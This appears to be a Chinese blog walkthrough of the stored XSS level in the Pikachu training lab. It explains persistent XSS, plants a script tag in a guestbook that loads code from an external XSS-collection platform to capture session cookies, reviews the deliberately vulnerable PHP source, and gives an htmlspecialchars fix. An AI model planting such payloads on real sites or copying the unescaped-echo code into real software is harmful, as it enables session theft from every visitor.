Pikachu靶场通关笔记(7) — 存储型 XSS (Stored) (危害最大的持久化攻击)

37次阅读
没有评论

1. 原理分析:为什么它是危害最大的?

在前两关(反射型 XSS)中,攻击具有 “一次性” 的特点:

  • 反射型 (GET): Payload 在 URL 中,必须诱导用户点击链接。
  • 反射型 (POST): Payload 在请求体中,必须诱导用户访问伪造的恶意表单页面。

它们的共同点是: Payload 并没有保存在服务器上,必须由攻击者每次主动发起(或诱导)请求才能触发。

存储型 XSS (Stored XSS),又称为 持久型 XSS,其攻击流程完全不同:

  1. 存储: 攻击者将恶意代码(Payload)提交到目标网站的数据库中(如留言板、评论区、用户简介)。
  2. 持久化: 服务器将这段恶意代码保存了下来。
  3. 触发: 之后,任何用户(包括管理员)只要访问了该页面,服务器就会从数据库读出这段代码并显示,导致恶意脚本在用户的浏览器中自动执行。

简单来说: 反射型是“点对点”的狙击,存储型是“埋地雷”,埋好之后谁踩谁炸。

2. 渗透测试过程

第一步:功能点探测

进入 存储型 xss 关卡,发现这是一个典型的留言板功能。
随便输入一些内容测试,例如 hello world,点击提交。
刷新页面,发现 hello world 依然存在。这说明输入被 保存到了后台数据库 中,每次刷新都会重新从数据库读取并显示。

第二步:植入 Payload

既然确定数据会被保存并回显,且没有任何过滤提示,我直接植入 XSS 平台生成的 Payload。

    <sCRiPt sRC=//xs.pe/EHr></sCrIpT>

将上述代码填入留言内容框,点击 submit。可以看到数据被写输入到数据库中了。

Pikachu 靶场通关笔记(7) — 存储型 XSS (Stored) (危害最大的持久化攻击)

第三步:验证危害 (XSS 平台上线)

点击提交后,留言列表更新。此时不需要做任何操作,仅仅是 刷新当前页面(或者让其他人访问这个页面),浏览器就会解析并执行刚才插入的脚本。

查看 XSS 平台 (TLXSS),成功收到了上线记录!

Pikachu 靶场通关笔记(7) — 存储型 XSS (Stored) (危害最大的持久化攻击)
  • 触发页面: http://localhost:8899/vul/xss/xss_stored.php
  • Cookie: 成功获取 PHPSESSID。
  • 特点: 只要不删除这条留言,以后每次(或者管理员)访问这个页面,XSS 平台就会收到一条新的记录。这就是 持久化 的威力。

3. 源码深度解析 (Code Review)

通过审查 xss_stored.php 的后端源码,我们可以清晰地看到漏洞产生的完整逻辑。

(1)输入处理:防了 SQL 注入,却漏了 XSS

看这一段处理 POST 提交的代码:

if(array_key_exists("message",$_POST) && $_POST['message']!=null){// 关键点在这里:escape() 函数
    $message=escape($link, $_POST['message']); 
    $query="insert into message(content,time) values('$message',now())";
    // ... 执行插入 ...
}

分析:

  • 这里调用了一个 escape() 函数(在 mysql.inc.php 中定义,通常是对 mysqli_real_escape_string 的封装)。
  • 误区: 很多开发者认为用了 escape 就安全了。
  • 真相: escape() 的作用是转义 SQL 语句中的特殊字符(如单引号 '),防止 SQL 注入 。但是,它 不会 转义 HTML 字符(如 < > &)。
  • 结果: 当我们输入 <script>... 时,escape 认为这不是 SQL 攻击,于是原样放行。恶意脚本就这样被完整地存入了数据库。

(2) 输出处理:致命的直接回显

再看页面底部的显示逻辑:

$query="select * from message";
$result=execute($link, $query);
while($data=mysqli_fetch_assoc($result)){
    // 漏洞爆发点:直接 echo
    echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'> 删除 </a>";
}

分析:

  • 代码从数据库取出 content 字段后,直接使用 echo 输出到了 HTML 页面中。
  • 缺失防御: 这里完全没有任何 HTML 实体编码函数(如 htmlspecialchars())。
  • 后果: 浏览器解析到数据库里取出的 <script> 标签时,不会把它当做文本显示,而是当做代码执行。这就是存储型 XSS 的本质。

(3)有趣的“彩蛋”(SQL 注入)

源码中还藏了一段有趣的注释:

if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
    // 彩蛋: 虽然这是个存储型 xss 的页面, 但这里有个 delete 的 sql 注入
    $query="delete from message where id={$_GET['id']}";
    // ...
}

分析:

  • 作者注释说这里有 SQL 注入。
  • 但代码中使用了 is_numeric($_GET['id']) 进行校验。通常情况下,is_numeric 能很好地防御基于数字型的 SQL 注入(因为它禁止了字符输入)。
  • 这里可能存在特定版本的绕过或者是作者留下的思考题(在严格环境下 is_numeric 是安全的,但在宽字节注入等极端场景下可能有变数,但在本关卡中,重点依然是 XSS)。

4. 修复代码

要修复这个漏洞,不需要改动数据库存入的逻辑(输入时最好保持原样),而是在 输出时 进行处理:

修改前:

echo "<p class='con'>{$data['content']}</p>";

修改后:

// 使用 htmlspecialchars 将 < > 转义为 &lt; &gt;
echo "<p class='con'>" . htmlspecialchars($data['content']) . "</p>";

数据清洗 输出编码 是两码事。防止了 SQL 注入并不代表防止了 XSS,每一层防御都需要专门的处理函数。的输入,在 “入库”“出库显示” 的两个环节中,均没有对特殊字符(< > ‘ “)进行 HTML 实体编码转义。

5. 总结

存储型 XSS 是 web 安全中必须高度重视的漏洞。在实战中,它常出现在 评论区、个人资料修改、工单系统、私信 等位置。一旦攻击者成功注入,所有访问该页面的用户都会沦为受害者,极易引发蠕虫式攻击。

正文完
 0
评论(没有评论)